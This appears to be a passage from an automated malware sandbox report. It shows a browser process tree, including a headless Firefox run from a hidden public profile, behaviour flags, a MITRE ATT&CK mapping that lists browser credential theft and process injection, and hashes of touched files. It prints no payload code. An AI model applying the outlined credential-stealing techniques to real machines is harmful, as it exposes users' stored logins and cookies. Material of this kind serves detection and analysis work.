    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5648,i,14866518470808515993,17161471471460830704,2097152 --field-trial-handle=2012,i,4883343129066534567,14570812238613303846,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:9
    3⤵
    PID:2636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x358,0x7ffc68cac188,0x7ffc68cac194,0x7ffc68cac1a0
    3⤵
    PID:5128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,7523436795328397814,15659742953109723048,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=2760 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1672
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1676,i,8538837846627290786,12740654369015426368,262144 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=2720 /prefetch:2
    3⤵
    PID:5132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2244,i,4264092412332350706,15399839885098584340,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:13
    3⤵
    PID:4728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3508,i,15511505601479328952,6751031530048084262,2097152 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
    3⤵
    PID:4288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,15869174689880171506,3881747406778829347,2097152 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
    3⤵
    PID:2748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4088,i,17584403822977562185,4415183714055880993,2097152 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:1
    3⤵
    PID:724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4104,i,15562539778225683103,500715295491539951,2097152 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:9
    3⤵
    PID:4968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5144,i,16760750377610894536,7683894878717360895,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
    3⤵
    PID:3980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5236,i,7535916506212694931,88014052593200168,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
    3⤵
    PID:2576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5240,i,5718538258534940797,6459875629622373374,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:14
    3⤵
    PID:2532
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6360,i,11907218924148924950,71675322236673639,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
    3⤵
    PID:5004
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6360,i,11907218924148924950,71675322236673639,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
    3⤵
    PID:5960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6556,i,8259068868145130111,10036301056374418974,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=6544 /prefetch:14
    3⤵
    PID:4716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6948,i,3699269848278875970,15782720697511479991,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=6964 /prefetch:14
    3⤵
    PID:4216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,17375394871023681761,3588669126674017991,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:14
    3⤵
    PID:880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6480,i,8349109565245219648,16245528782113821812,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:14
    3⤵
    PID:3852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,11757386781239374502,387131934975394789,524288 --field-trial-handle=2724,i,10741221160765727918,2173600386017286150,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
    3⤵
    PID:3836
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:1940
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:888
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2816 -prefsLen 24445 -prefMapHandle 2820 -prefMapSize 268500 -ipcHandle 2888 -initialChannelId {14534b63-bf60-4845-834c-781547feb9e5} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:828
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1964 -prefsLen 24522 -prefMapHandle 2036 -prefMapSize 268500 -jsInitHandle 2040 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2056 -initialChannelId {00d4dbc7-05c0-47d3-8801-2de2cb8f9348} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:3040
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3908 -prefsLen 25338 -prefMapHandle 3912 -prefMapSize 268500 -ipcHandle 3944 -initialChannelId {6711184c-f527-4744-acfa-5d8cc3bcd215} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:880
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4328 -prefsLen 25604 -prefMapHandle 4332 -prefMapSize 268500 -jsInitHandle 4336 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4344 -initialChannelId {18519d34-3214-445f-8d1c-b620728f5c60} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:236
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4996 -prefsLen 36486 -prefMapHandle 5000 -prefMapSize 268500 -ipcHandle 5012 -initialChannelId {6739de89-b50c-4a9e-bc04-a93011db5682} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:5384
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5180 -prefsLen 34446 -prefMapHandle 5184 -prefMapSize 268500 -jsInitHandle 5188 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5164 -initialChannelId {614e2c30-8f2f-4d78-8fa8-2b78a4588cbb} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      PID:1920
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5376 -prefsLen 34446 -prefMapHandle 5380 -prefMapSize 268500 -jsInitHandle 5384 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5392 -initialChannelId {862d7af4-f082-470f-9cad-2aded9128fba} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      PID:1240
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5620 -prefsLen 34446 -prefMapHandle 5624 -prefMapSize 268500 -jsInitHandle 5628 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5636 -initialChannelId {ac174ad9-64d5-496f-946c-c84765daa3b1} -parentPid 888 -crashReporter "\\.\pipe\gecko-crash-server-pipe.888" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      PID:6072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5844

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2740

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2300

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 798e2ff0558648606298079842d6de6d749b38677bc051611b5b64cefe3cb5ac
MD5 0d4af76f8debc502600060a09a8ebc97
SHA1 46d7f55846902a3f12eb67a35207557bb8af30ec
SHA512 727a3ec591e7feec25d230a01a075fef59e581efd9d3eb07afc908cabbdaf8cea9477df7705a4126e4743030251fb60fe581097fa180b942bb805351f08e3d7e
SSDEEP 96:uFC0d+qs7PiY+3oDfAI0jMrRDotok5ogNDiB6ndGyvze9amjbfEv4a:uFC0t+W1I04DUDBi4wL9amjbu
TLSH
T129A11A31E52D4CFB58B6D945B1533A43CF79A26B64615F94E9ED6B0C04F70EC0382123
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 b83cbf64cc348bda7418cf4d51290f954f1a229bfc174076604c71e6316695b1
MD5 e74d8b44e8d40662fd1b1b255738f7f7
SHA1 274571a893d99afe45f887bf62213edcdf6ce25a
SHA512 fdd52b8ff528e9564308a28f53b7774dc738711d7dccce592af97c88bf2722ddb380e7bf76101bce36a685c115e53c6bb3d415de6eecc3c382b674f304fb5a40
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7j:fwUQC5VwBIiElEd2K57P7j
TLSH
T1B2B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a23025f4d05b749cd64019222483e40f71e2bd4380052e2b64a234eb0323dd12
MD5 f2999f57642ce17248d9900b8034961f
SHA1 5a92b97bdc3c0e5222e917e766218a9ee7568f1f
SHA512 001c4dde433f6d4b3121bd2e5736ab1443818c9c8ef22f8298c411039f23f15532e8510ef806e0f54b26c4ef31db9b77ed6c750a42b27167e98f8b691edafe8f
TLSH
T1F4D02BB1E0ED8473C050307C000681815205F8426AC555801F25D07C091014C234B108
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ae4519203ea4a71f8bb5a86dffca3b288f02f1bf4cb8d6f78e8a591b676414b1
MD5 1293a304484c7d4be275f1eb20c69a28
SHA1 b568174debe43e00bc9d8880e0c5166dc6720312
SHA512 ffd84ca0277d7fb25239662676bdc1988ee3267dfd6a7a17da4c4ab32edd7fa146f36c8d8b2c5f1b06efedf5cf636eaa55943e5f89902c62e6a914ebbc3ae1b7
TLSH
T143D02BB1E0DD8473C0503078000581815215F842BEC555801F25D07C091014C234B10C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 e3dcd1c7ceaf9e20ee6e1ffff451b2c418cc9c31e8d9305d60ddfadb455c1794
MD5 a388df0da1dcb7100c886ca68d8556ff
SHA1 aa331bf7b102b1dfcac71c8baa372a138984bcad
SHA512 329896a1bb2801029d65d75a4d07504f20aab493e6d4455253949ed7bf45aff096eb1d5b25173e8e75c968d4052d8dd1bf3845e42eeefc0d4b41211362591ff8
SSDEEP 96:HBzLXZA7O8AimcO7A5nLGoxokSoeZGF4gQXuQ0:hzlytfxoGFJ3
TLSH
T138918AC0DFB628D2EF6858746CA5A83E2D2073F058E19BA345DCD2D57F87A94416C34E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 28KB
SHA256 caa41486d59bd7f05b8ad7f34470bfea833e1de1765a222725e377903810c78a
MD5 89e0d6f84423d3fb81bd5d55724061ba
SHA1 ef8776542a2af4a2b089df14705a0d7ab394e043
SHA512 a9965c4d5ff1053d5b6fed4f9c138ba588bc0d7dd69df8d2b25fd8500cb2988e21aa1378b43031d04c8f25574660bf61205f03141e6dc5d1b82a6c200a3b68d8
SSDEEP 192:tDLaTa+Wv0LdWZ/MkDZVv/N0ZqpgkPQ6SgR5p:Bi5i0LdWZ0kDZVv/qqp9ugR5p
TLSH
T110D2D6BF3D400512C9CB5331A9F24C9218B9A5E66743D2FB35BD71616F34B81BA3E426
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 3e1813892d846d9ded6d7550a191969ded4c120d923ecb9baf97db5686be0f3a
MD5 31a4841946216d49e8540052a6ccbb23
SHA1 12c8512eec3c658818720d55bf51f8b4398e11ac
SHA512 2ee947f0641af8da0568569470356dfb51fbc28b4d7bb7cde18e807d739225a067931c88d0399dca21af7f3a67992fbadbb030de2550d4ed11eba16d7868b964
SSDEEP 192:sxRNRCx1/fWsEMZsN3QXBnbofNoA8pJH/g6+WNPTY/YlacZc+G7IgD5HJ:sxRN61/fWsEysRQXGcp/50/P9z
TLSH
